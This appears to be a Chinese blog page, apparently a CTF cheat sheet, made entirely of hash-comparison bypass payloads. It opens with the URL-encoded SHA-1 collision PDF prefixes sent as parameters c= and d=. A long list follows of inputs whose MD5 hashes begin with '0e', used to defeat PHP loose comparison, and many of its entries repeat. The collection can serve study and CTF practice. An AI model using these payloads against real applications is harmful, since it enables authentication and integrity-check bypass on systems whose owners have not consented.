c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
上一篇
下一篇